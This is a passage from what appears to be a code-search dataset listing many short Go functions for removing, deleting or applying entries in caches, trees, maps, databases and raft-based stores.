{\n\t\t\tchild.color = black\n\t\t}\n\t}\n\ttree.size--\n}","func Remove(key string) error {\n\tquery := arangolite.NewQuery(`FOR ingredient IN %s FILTER ingredient._key==@key REMOVE ingredient IN %s`, CollectionName, CollectionName)\n\tquery.Bind(\"key\", key)\n\t_, err := config.DB().Run(query)\n\treturn err\n}","func (mm *Model) Remove(selector interface{}, keys ...string) error {\n\treturn mm.execute(func(c CachedCollection) error {\n\t\treturn c.Remove(selector, keys...)\n\t})\n}","func (t *tOps) remove(f *tFile) {\n\tt.cache.Delete(0, uint64(f.fd.Num), func() {\n\t\tif err := t.s.stor.Remove(f.fd); err != nil {\n\t\t\tt.s.logf(\"table@remove removing @%d %q\", f.fd.Num, err)\n\t\t} else {\n\t\t\tt.s.logf(\"table@remove removed @%d\", f.fd.Num)\n\t\t}\n\t\tif t.evictRemoved && t.bcache != nil {\n\t\t\tt.bcache.EvictNS(uint64(f.fd.Num))\n\t\t}\n\t})\n}","func (s *ConfigurationStore) RemoveEntry(name ConfigName) {\n\tdelete(s.Store, name)\n}","func removeEntry(bucket []entry, idx int) []entry {\n\n\t// https://github.com/golang/go/wiki/SliceTricks\n\t// Cut out the entry by taking all entries from\n\t// infront of the index and moving them behind the\n\t// index specified.\n\tcopy(bucket[idx:], bucket[idx+1:])\n\n\t// Set the proper length for the new slice since\n\t// an entry was removed. The length needs to be\n\t// reduced by 1.\n\tbucket = bucket[:len(bucket)-1]\n\n\t// Look to see if the current allocation for the\n\t// bucket can be reduced due to the amount of\n\t// entries removed from this bucket.\n\treturn reduceAllocation(bucket)\n}","func (d *Directory) Remove(name string) (*DirectoryEntry, int) {\n\tfor i, e := range d.Entries {\n\t\tif e.Path == name {\n\t\t\td.Entries = append(d.Entries[:i], d.Entries[i+1:]...)\n\t\t\treturn e, i\n\t\t}\n\t}\n\treturn nil, -1\n}","func (m *ACLs) DeleteEntry(aclType string, qualifier string) {\n\tfor i, e := range m.Entries {\n\t\tif e.Qualifier == qualifier && e.Type == aclType {\n\t\t\tm.Entries = append(m.Entries[:i], m.Entries[i+1:]...)\n\t\t\treturn\n\t\t}\n\t}\n}","func (m *Model) Remove(storeLDAP storage.LDAP) error {\n\tif m.DN == \"\" {\n\t\treturn errors.New(\"model requires dn to be set\")\n\t}\n\n\tsr := ldap.NewSimpleSearchRequest(m.DN, ldap.ScopeWholeSubtree, \"(objectClass=*)\", []string{\"none\"})\n\tresult, err := storeLDAP.Search(sr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor i := len(result.Entries) - 1; i >= 0; i-- {\n\t\tif err := storeLDAP.Delete(ldap.NewDeleteRequest(result.Entries[i].DN)); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}","func (c *Consistent) Remove(elt string) {\n\tc.Mu.Lock()\n\tdefer c.Mu.Unlock()\n\tc.remove(elt)\n}","func (t *TextUpdateSystem) Remove(basic ecs.BasicEntity) {\n\tdelete := -1\n\n\tfor index, e := range t.entities {\n\t\tif e.BasicEntity.ID() == basic.ID() {\n\t\t\tdelete = index\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif delete >= 0 {\n\t\tt.entities = append(t.entities[:delete], t.entities[delete+1:]...)\n\t}\n}","func (c DirCollector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}","func (c DeferDirCollector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}","func (t *BoundedTable) RemoveRecord(ctx context.Context, h int64, r []types.Datum) error {\n\t// not supported, BoundedTable is TRUNCATE only\n\treturn table.ErrUnsupportedOp\n}","func (c *LRU) Remove(s utils.Service) error {\n\tremoveNum := 0\n\tif element := c.items[s.Aliases]; element != nil {\n\t\tif _, ok := element.table[s.RecordType]; !ok {\n\t\t\treturn errors.New(\"RocordType doesn't exist\")\n\t\t}\n\t\ttmp := element.table[s.RecordType].list\n\t\tfor v := 0; v < len(tmp); v++ {\n\t\t\tif tmp[v].Value.(*utils.Entry).Value == s.Value {\n\t\t\t\tif c.onEvict != nil {\n\t\t\t\t\tc.onEvict(tmp[v].Value.(*utils.Entry))\n\t\t\t\t}\n\t\t\t\tc.evictList.Remove(tmp[v])\n\t\t\t\ttmp = append(tmp[:v], tmp[v+1:]...)\n\t\t\t\tv = v - 1\n\t\t\t\tremoveNum = removeNum + 1\n\t\t\t\tif len(tmp) == 0 {\n\t\t\t\t\tdelete(element.table, s.RecordType)\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\tif removeNum > 0 {\n\t\treturn nil\n\t}\n\treturn errors.New(\"Nothing is removed\")\n}","func (c *layerCache) Remove(key interface{}) (err error) {\n\terr = c.Storage.Remove(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif c.next == nil {\n\t\t// This is bottom layer\n\t\treturn nil\n\t}\n\t// Queue to flush\n\tc.log <- log{key, &Message{Value: nil, Message: MessageRemove}}\n\tc.Sync() // Remove must be synced\n\treturn nil\n}","func (u *UdMap) Del(key string) { delete(u.Data, key) }","func (c *QueuedChan) remove(cmd *queuedChanRemoveCmd) {\n\t// Get object count before remove.\n\tcount := c.List.Len()\n\t// Iterate list.\n\tfor i := c.Front(); i != nil; {\n\t\tvar re *list.Element\n\t\t// Filter object.\n\t\tok, cont := cmd.f(i.Value)\n\t\tif ok {\n\t\t\tre = i\n\t\t}\n\t\t// Next element.\n\t\ti = i.Next()\n\t\t// Remove element\n\t\tif nil != re {\n\t\t\tc.List.Remove(re)\n\t\t}\n\t\t// Continue\n\t\tif !cont {\n\t\t\tbreak\n\t\t}\n\t}\n\t// Update channel length\n\tatomic.StoreInt32(&c.len, int32(c.List.Len()))\n\t// Return removed object number.\n\tcmd.r <- count - c.List.Len()\n}","func (r *remove) Execute(cfg *config.Config, logger *log.Logger) error {\n\tlogger.Printf(\"Removing %s\\n\", r.args[0])\n\n\tpathToDelete := r.args[0]\n\tif expandedPath, err := pathutil.Expand(pathToDelete); err == nil {\n\t\tpathToDelete = expandedPath\n\t}\n\treturn os.RemoveAll(pathToDelete)\n}","func (i IntHashMap[T, V]) Remove(key T) {\n\thash := key.Hash()\n\tdelete(i.hashToKey, hash)\n\tdelete(i.hashToVal, hash)\n}","func (i StringHashMap[T, V]) Remove(key T) {\n\thash := key.Hash()\n\tdelete(i.hashToKey, hash)\n\tdelete(i.hashToVal, hash)\n}","func (c *jsiiProxy_CfnStack) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}","func (c *jsiiProxy_CfnStack) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}","func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}","func (s *PBFTServer) removeEntry(id entryID) {\n\tdelete(s.log, id)\n}","func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}","func (storage *Storage) remove(e *list.Element) {\n\tdelete(storage.cache, e.Value.(*payload).Key)\n\tstorage.lruList.Remove(e)\n}","func (entries *Entries) delete(key uint64) Entry {\n\ti := entries.search(key)\n\tif i == len(*entries) { // key not found\n\t\treturn nil\n\t}\n\n\tif (*entries)[i].Key() != key {\n\t\treturn nil\n\t}\n\n\toldEntry := (*entries)[i]\n\tcopy((*entries)[i:], (*entries)[i+1:])\n\t(*entries)[len(*entries)-1] = nil // GC\n\t*entries = (*entries)[:len(*entries)-1]\n\treturn oldEntry\n}","func Remove(table string, tx *sql.Tx, fieldKey string) error {\n\tctx := context.Background()\n\tvar row DemoRow\n\trow.FieldKey = fieldKey\n\tfm, err := NewFieldsMap(table, &row)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = fm.SQLDeleteByPriKey(ctx, tx, db)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (c *Client) FilterEntryDel(tenant, filter, entry string) error {\n\n\tme := \"FilterEntryDel\"\n\n\tdnF := dnFilter(tenant, filter)\n\tdn := dnFilterEntry(tenant, filter, entry)\n\n\tapi := \"/api/node/mo/uni/\" + dnF + \".json\"\n\n\turl := c.getURL(api)\n\n\tj := fmt.Sprintf(`{\"vzFilter\":{\"attributes\":{\"dn\":\"uni/%s\",\"status\":\"modified\"},\"children\":[{\"vzEntry\":{\"attributes\":{\"dn\":\"uni/%s\",\"status\":\"deleted\"}}}]}}`,\n\t\tdnF, dn)\n\n\tc.debugf(\"%s: url=%s json=%s\", me, url, j)\n\n\tbody, errPost := c.post(url, contentTypeJSON, bytes.NewBufferString(j))\n\tif errPost != nil {\n\t\treturn fmt.Errorf(\"%s: %v\", me, errPost)\n\t}\n\n\tc.debugf(\"%s: reply: %s\", me, string(body))\n\n\treturn parseJSONError(body)\n}","func (sm sharedMap) Remove(k string) {\n\tsm.c <- command{action: remove, key: k}\n}","func Remove(ctx context.Context, db *sql.DB, key []byte) error {\n\tctx, cancel := context.WithDeadline(ctx, time.Now().Add(3*time.Second))\n\tdefer cancel()\n\tquery := \"DELETE FROM keys WHERE key=?\"\n\t_, err := db.ExecContext(ctx, query, string(key))\n\tif err != nil {\n\t\treturn errors.Errorf(\"could not delete key=%q: %w\", string(key), err).WithField(\"query\", query)\n\t}\n\n\treturn nil\n}","func (n *node) del(view *View, pred func(x, y float64, e interface{}) bool, inPtr *subtree, r *root) {\n\tallEmpty := true\n\tfor i := range n.children {\n\t\tif n.children[i].View().overlaps(view) {\n\t\t\tn.children[i].del(view, pred, &n.children[i], r)\n\t\t}\n\t\tallEmpty = allEmpty && n.children[i].isEmptyLeaf()\n\t}\n\tif allEmpty && inPtr != nil {\n\t\tvar l subtree\n\t\tl = r.newLeaf(n.View()) // TODO Think hard about whether this could error out\n\t\t*inPtr = l\n\t\tr.recycleNode(n)\n\t}\n\treturn\n}","func (tr *Tree) Remove(cell store_pb.RecordID, data unsafe.Pointer) {\n\tif tr.root == nil {\n\t\treturn\n\t}\n\tif tr.remove(tr.root, cell, data, 128-nBits) {\n\t\ttr.len--\n\t}\n}","func (k *MutableKey) Remove(val uint64) {\n\tdelete(k.vals, val)\n\tk.synced = false\n}","func (tb *tableManager) markRemove(keyIn uint64) error {\n\tvar err error\n\tvar entry *tableEntry\n\tentry, err = tb.getEntry(keyIn)\n\tif err != nil {\n\t\tlog.Println(\"Could not obtain entry.\")\n\t\treturn errors.New(\"Could not obtain entry.\")\n\t}\n\terr = tb.write(keyIn, nil)\n\tif err != nil {\n\t\tlog.Println(\"Could not write nil to entry for removal.\")\n\t\treturn errors.New(\"Marking for removal failed.\")\n\t}\n\tentry.flags = flagDirty | flagRemove\n\treturn nil\n}","func (c FileCollector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}","func (c *jsiiProxy_CfnLayer) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}","func (_m *requestHeaderMapUpdatable) Remove(name string) {\n\t_m.Called(name)\n}","func (r *Ring) Remove(ctx context.Context, value string) error {\n\tfor {\n\t\tif err := ctx.Err(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresp, err := r.client.Get(ctx, path.Join(r.Name, value))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(resp.Kvs) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tif string(resp.Kvs[0].Value) != r.backendID {\n\t\t\treturn ErrNotOwner\n\t\t}\n\t\tcmps, ops, err := r.getRemovalOps(ctx, value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(ops) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\t// Ensure the owner has not changed\n\t\teqCmp := clientv3.Compare(clientv3.Value(path.Join(r.Name, value)), \"=\", r.backendID)\n\t\t// Delete the ownership assertion\n\t\tdelOp := clientv3.OpDelete(path.Join(r.Name, value))\n\t\tops = append(ops, delOp)\n\t\tcmps = append(cmps, eqCmp)\n\t\tresponse, err := r.kv.Txn(ctx).If(cmps...).Then(ops...).Commit()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif response.Succeeded {\n\t\t\treturn nil\n\t\t}\n\t}\n}","func (c *jsiiProxy_CfnRepository) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}","func (m BoolMemConcurrentMap) Remove(key string) {\n\t// Try to get shard.\n\tshard := m.getShard(key)\n\tshard.Lock()\n\tdelete(shard.items, key)\n\tshard.Unlock()\n}","func (c *TimeoutCache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n\tkv := e.Value.(*entry)\n\tdelete(c.items, kv.key)\n}","func (r *RecordCache) remove(response Response) {\n\tkey := response.FormatKey()\n\tLogger.Log(NewLogMessage(\n\t\tDEBUG,\n\t\tLogContext{\n\t\t\t\"what\": \"removing cache entry\",\n\t\t\t\"key\": key,\n\t\t},\n\t\tfunc() string { return fmt.Sprintf(\"resp [%v] cache [%v]\", response, r) },\n\t))\n\tdelete(r.cache, key)\n\tCacheSizeGauge.Set(float64(len(r.cache)))\n}","func (s *Service) RemoveEntry(entry ytfeed.Entry) error {\n\tif err := s.Store.ResetProcessed(entry); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to reset processed entry %s\", entry.VideoID)\n\t}\n\tif err := s.Store.Remove(entry); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to remove entry %s\", entry.VideoID)\n\t}\n\treturn nil\n}","func (a *AliasCmd) handleRemove(args []string) error {\n\t// first element in the slice is the name of the command itself and always exists\n\tswitch len(args) {\n\tcase 1:\n\t\t// we remove it for current entry\n\t\tcurrentPub, currentProvPub := a.getCurrentRecipientKeys()\n\t\tif currentPub != nil && currentProvPub != nil {\n\t\t\tgui.WriteNotice(\"removing alias for current recipient\\n\", a.g)\n\t\t\ta.store.RemoveAliasByKeys(currentPub, currentProvPub)\n\t\t\ta.session.UpdateAlias(\"\")\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn ErrMalformedRecipient\n\t\t}\n\tcase 2:\n\t\tif args[1] == allModifier {\n\t\t\tgui.WriteNotice(\"removing ALL stored aliases\\n\", a.g)\n\t\t\ta.store.RemoveAllAliases()\n\t\t\ta.session.UpdateAlias(\"\")\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn ErrInvalidArguments\n\t\t}\n\tcase 3:\n\t\ttargetKey, targetProvKey := a.getTargetKeysFromStrings(args[1], args[2])\n\t\tif targetKey != nil && targetProvKey != nil {\n\t\t\tgui.WriteNotice(\"removing alias for the specified client...\\n\", a.g)\n\t\t\ta.store.RemoveAliasByKeys(targetKey, targetProvKey)\n\t\t\t// check if the target is not the same as current session recipient\n\t\t\tif bytes.Equal(targetKey.Bytes(), a.session.Recipient().PubKey) {\n\t\t\t\ta.session.UpdateAlias(\"\")\n\t\t\t}\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn ErrInvalidArguments\n\t\t}\n\tdefault:\n\t\treturn ErrInvalidArguments\n\t}\n}","func (r *Rack) Remove(tiles ...Tile) {\n\tfor _, t := range tiles {\n\t\tfor i, rt := range *r {\n\t\t\tif rt == t {\n\t\t\t\t*r = append((*r)[0:i], (*r)[i+1:]...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}","func (c *Cache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n}","func (c *jsiiProxy_CfnRegistry) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}","func (b *CompactableBuffer) Remove(address *EntryAddress) error {\n\taddress.LockForWrite()\n\tdefer address.UnlockWrite()\n\tresult := b.removeWithoutLock(address)\n\treturn result\n}","func (ttlmap *TTLMap) Remove(key interface{}) {\n\tttlmap.eMutex.Lock()\n\tdefer ttlmap.eMutex.Unlock()\n\tdelete(ttlmap.entries, key)\n\n\t// remember to clean up the schedule\n\tttlmap.clearSchedule(key)\n}"],"string":"[\n \"func (c *RemoveCommand) Apply(raftServer *raft.Server) (interface{}, error) {\\n\\n\\t// remove machine in etcd storage\\n\\tkey := path.Join(\\\"_etcd/machines\\\", c.Name)\\n\\n\\t_, err := etcdStore.Delete(key, raftServer.CommitIndex())\\n\\n\\t// delete from stats\\n\\tdelete(r.followersStats.Followers, c.Name)\\n\\n\\tif err != nil {\\n\\t\\treturn []byte{0}, err\\n\\t}\\n\\n\\t// remove peer in raft\\n\\terr = raftServer.RemovePeer(c.Name)\\n\\n\\tif err != nil {\\n\\t\\treturn []byte{0}, err\\n\\t}\\n\\n\\tif c.Name == raftServer.Name() {\\n\\t\\t// the removed node is this node\\n\\n\\t\\t// if the node is not replaying the previous logs\\n\\t\\t// and the node has sent out a join request in this\\n\\t\\t// start. It is sure that this node received a new remove\\n\\t\\t// command and need to be removed\\n\\t\\tif raftServer.CommitIndex() > r.joinIndex && r.joinIndex != 0 {\\n\\t\\t\\tdebugf(\\\"server [%s] is removed\\\", raftServer.Name())\\n\\t\\t\\tos.Exit(0)\\n\\t\\t} else {\\n\\t\\t\\t// else ignore remove\\n\\t\\t\\tdebugf(\\\"ignore previous remove command.\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tb := make([]byte, 8)\\n\\tbinary.PutUvarint(b, raftServer.CommitIndex())\\n\\n\\treturn b, err\\n}\",\n \"func (this *ObjectRemove) Apply(context Context, first, second value.Value) (value.Value, error) {\\n\\t// Check for type mismatches\\n\\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tfield := second.Actual().(string)\\n\\n\\trv := first.CopyForUpdate()\\n\\trv.UnsetField(field)\\n\\treturn rv, nil\\n}\",\n \"func (op *OpMove) Apply(e *entry.Entry) error {\\n\\tval, ok := e.Delete(op.From)\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"apply move: field %s does not exist on body\\\", op.From)\\n\\t}\\n\\n\\treturn e.Set(op.To, val)\\n}\",\n \"func (e *entry) remove() {\\n\\tif e.logical != noAnchor {\\n\\t\\tlog.Fatalf(\\\"may not remove anchor %q\\\", e.str)\\n\\t}\\n\\t// TODO: need to set e.prev.level to e.level if e.level is smaller?\\n\\te.elems = nil\\n\\tif !e.skipRemove {\\n\\t\\tif e.prev != nil {\\n\\t\\t\\te.prev.next = e.next\\n\\t\\t}\\n\\t\\tif e.next != nil {\\n\\t\\t\\te.next.prev = e.prev\\n\\t\\t}\\n\\t}\\n\\te.skipRemove = false\\n}\",\n \"func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\\n\\ts := context.Server().Context().(*Server)\\n\\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\\n\\treturn nextCAS, err\\n}\",\n \"func (op *OpRetain) Apply(e *entry.Entry) error {\\n\\tnewEntry := entry.New()\\n\\tnewEntry.Timestamp = e.Timestamp\\n\\tfor _, field := range op.Fields {\\n\\t\\tval, ok := e.Get(field)\\n\\t\\tif !ok {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr := newEntry.Set(field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\t*e = *newEntry\\n\\treturn nil\\n}\",\n \"func (m *IndexedMap[PrimaryKey, Value, Idx]) Remove(ctx context.Context, pk PrimaryKey) error {\\n\\terr := m.unref(ctx, pk)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn m.m.Remove(ctx, pk)\\n}\",\n \"func (i *ImmediateCron) Remove(id cron.EntryID) {}\",\n \"func (entry *Entry) Del() error {\\n\\t_, err := entry.Set.Parent.run(append([]string{\\\"del\\\", entry.Set.name()}, entry.Options...)...)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = entry.Set.Parent.Save()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (pred *NotEqPredicate) Apply(c cm.Collection) error {\\n\\tcol := c.(*Table)\\n\\tcol.filterStatements = append(col.filterStatements,\\n\\t\\tfmt.Sprintf(\\\"%s != ?\\\", pred.Column.Name()))\\n\\n\\tcol.filterValues = append(col.filterValues, pred.Value)\\n\\n\\treturn nil\\n}\",\n \"func (s *NetworkStore) RemoveEntry(name string) error {\\n\\tvar rmvIdx int\\n\\tfor idx, entry := range s.Store {\\n\\t\\tif entry.Name == name {\\n\\t\\t\\trmvIdx = idx\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\ts.Store = append(s.Store[:rmvIdx], s.Store[rmvIdx+1:]...)\\n\\n\\treturn nil\\n}\",\n \"func (c *Controller) apply(key string) error {\\n\\titem, exists, err := c.indexer.GetByKey(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !exists {\\n\\t\\treturn c.remove(key)\\n\\t}\\n\\treturn c.upsert(item, key)\\n}\",\n \"func (c *Cache) removeElement(e *list.Element) {\\n\\tc.evictList.Remove(e)\\n\\tkv := e.Value.(*Entry)\\n\\tdelete(c.mapping, kv.key)\\n\\tif c.onEvict != nil {\\n\\t\\tc.onEvict(kv.key, kv.value)\\n\\t}\\n}\",\n \"func (s *DnsServer) RemoveFromEntry(name string, keywords []string, rType uint16) {\\n\\tc := s.NewControllerForName(dns.CanonicalName(name))\\n\\tc.DeleteRecords(keywords, rType)\\n}\",\n \"func (_obj *DataService) DeleteApply(wx_id string, club_id string, affectRows *int32, _opt ...map[string]string) (ret int32, err error) {\\n\\n\\tvar length int32\\n\\tvar have bool\\n\\tvar ty byte\\n\\t_os := codec.NewBuffer()\\n\\terr = _os.Write_string(wx_id, 1)\\n\\tif err != nil {\\n\\t\\treturn ret, err\\n\\t}\\n\\n\\terr = _os.Write_string(club_id, 2)\\n\\tif err != nil {\\n\\t\\treturn ret, err\\n\\t}\\n\\n\\terr = _os.Write_int32((*affectRows), 3)\\n\\tif err != nil {\\n\\t\\treturn ret, err\\n\\t}\\n\\n\\tvar _status map[string]string\\n\\tvar _context map[string]string\\n\\tif len(_opt) == 1 {\\n\\t\\t_context = _opt[0]\\n\\t} else if len(_opt) == 2 {\\n\\t\\t_context = _opt[0]\\n\\t\\t_status = _opt[1]\\n\\t}\\n\\t_resp := new(requestf.ResponsePacket)\\n\\ttarsCtx := context.Background()\\n\\n\\terr = _obj.s.Tars_invoke(tarsCtx, 0, \\\"deleteApply\\\", _os.ToBytes(), _status, _context, _resp)\\n\\tif err != nil {\\n\\t\\treturn ret, err\\n\\t}\\n\\n\\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\\n\\terr = _is.Read_int32(&ret, 0, true)\\n\\tif err != nil {\\n\\t\\treturn ret, err\\n\\t}\\n\\n\\terr = _is.Read_int32(&(*affectRows), 3, true)\\n\\tif err != nil {\\n\\t\\treturn ret, err\\n\\t}\\n\\n\\tif len(_opt) == 1 {\\n\\t\\tfor k := range _context {\\n\\t\\t\\tdelete(_context, k)\\n\\t\\t}\\n\\t\\tfor k, v := range _resp.Context {\\n\\t\\t\\t_context[k] = v\\n\\t\\t}\\n\\t} else if len(_opt) == 2 {\\n\\t\\tfor k := range _context {\\n\\t\\t\\tdelete(_context, k)\\n\\t\\t}\\n\\t\\tfor k, v := range _resp.Context {\\n\\t\\t\\t_context[k] = v\\n\\t\\t}\\n\\t\\tfor k := range _status {\\n\\t\\t\\tdelete(_status, k)\\n\\t\\t}\\n\\t\\tfor k, v := range _resp.Status {\\n\\t\\t\\t_status[k] = v\\n\\t\\t}\\n\\n\\t}\\n\\t_ = length\\n\\t_ = have\\n\\t_ = ty\\n\\treturn ret, nil\\n}\",\n \"func (store *GSStore) Remove(key string, form GSType) error {\\n\\n}\",\n \"func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\\n\\t// Has entry?\\n\\tif len(apply.entries) == 0 {\\n\\t\\treturn\\n\\t}\\n\\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\\n\\tfirsti := apply.entries[0].Index\\n\\tif firsti > gmp.appliedi+1 {\\n\\t\\tlogger.Panicf(\\\"first index of committed entry[%d] should <= appliedi[%d] + 1\\\", firsti, gmp.appliedi)\\n\\t}\\n\\t// Extract useful entries.\\n\\tvar ents []raftpb.Entry\\n\\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\\n\\t\\tents = apply.entries[gmp.appliedi+1-firsti:]\\n\\t}\\n\\t// Iterate all entries\\n\\tfor _, e := range ents {\\n\\t\\tswitch e.Type {\\n\\t\\t// Normal entry.\\n\\t\\tcase raftpb.EntryNormal:\\n\\t\\t\\tif len(e.Data) != 0 {\\n\\t\\t\\t\\t// Unmarshal request.\\n\\t\\t\\t\\tvar req InternalRaftRequest\\n\\t\\t\\t\\tpbutil.MustUnmarshal(&req, e.Data)\\n\\n\\t\\t\\t\\tvar ar applyResult\\n\\t\\t\\t\\t// Put new value\\n\\t\\t\\t\\tif put := req.Put; put != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[put.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", put.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get key, value and revision.\\n\\t\\t\\t\\t\\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\\n\\t\\t\\t\\t\\t// Get map and put value into map.\\n\\t\\t\\t\\t\\tm := set.get(put.Map)\\n\\t\\t\\t\\t\\tm.put(key, value, revision)\\n\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\\n\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t// Set apply result.\\n\\t\\t\\t\\t\\tar.rev = revision\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Delete value\\n\\t\\t\\t\\tif del := req.Delete; del != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[del.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", del.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map and delete value from map.\\n\\t\\t\\t\\t\\tm := set.get(del.Map)\\n\\t\\t\\t\\t\\tif pre := m.delete(del.Key); nil != pre {\\n\\t\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t\\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\\n\\t\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- 